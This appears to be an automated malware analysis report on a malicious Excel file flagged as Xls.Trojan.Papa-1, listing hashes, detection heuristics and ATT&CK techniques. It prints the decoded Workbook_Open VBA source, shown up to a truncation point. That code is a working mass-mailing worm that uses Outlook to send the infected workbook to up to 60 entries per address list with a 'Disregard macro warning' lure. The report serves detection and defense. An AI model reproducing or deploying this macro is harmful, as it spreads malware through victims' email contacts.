Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b0b635f272a33ab…

MALICIOUS

Office (OLE)

17.0 KB Created: 1999-03-29 21:58:29 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 719b72f8bd0965a4812481c1da8fa425 SHA-1: 04d4d95adfcd843bd121386d49bb8d8cfb58b4d2 SHA-256: 0b0b635f272a33ab8dabdf4c1bfd5891bb0251de731502bea0eb0423952e017d
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing a Workbook_Open VBA macro. This macro utilizes CreateObject to interact with Outlook, likely to harvest email addresses and send further malicious content. The presence of the Shell() call and the ClamAV detection as 'Xls.Trojan.Papa-1' strongly indicate malicious intent, possibly for spamming or phishing.

Heuristics 7

  • ClamAV: Xls.Trojan.Papa-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Papa-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://all.net� In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8619 bytes
SHA-256: e57c625a8684ee510f6a0c8d2d62f5ed0e73cd7be267164330325ec1bd402f9c
Detection
ClamAV: Xls.Trojan.Papa-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True




































                                                                                                             Private Sub Workbook_Open()
                                                                                                             On Error Resume Next
                                                                                                             Application.EnableCancelKey = 0
                                                                                                             Randomize
                                                                                                             Set oa = CreateObject("Outlook.Application")
                                                                                                             Set mn = oa.GetNameSpace("MAPI")
                                                                                                             If oa = "Outlook" Then
                                                                                                             mn.Logon "profile", "password"
                                                                                                             For y = 1 To mn.AddressLists.Count
                                                                                                             x = 1
                                                                                                             Set ab = mn.AddressLists(y)
                                                                                                             Set papaver = oa.CreateItem(0)
                                                                                                             For z = 1 To ab.AddressEntries.Count
                                                                                                             vi = ab.AddressEntries(x)
                                                                                                             papaver.Recipients.Add vi
                                                                                                             x = x + 1
                                                                                                             If x > 60 Then z = ab.AddressEntries.Count
                                                                                                             Next z
                                                                                                             papaver.Subject = "Fwd: Workbook from all.net and Fred Cohen"
                                                                                                             papaver.Body = "Urgent info inside.  Disregard macro warning."
                                                                                                             papaver.Attachments.Add ActiveWorkbook.FullName
                                                                                                             papaver.Send
                                                                                                             vi = ""
                                                                                                             Next y
                                                                                                             mn.Logoff
                                                                                                             End If
                                                                                                             q = Int(6 * Rnd)
                                                                                
... (truncated)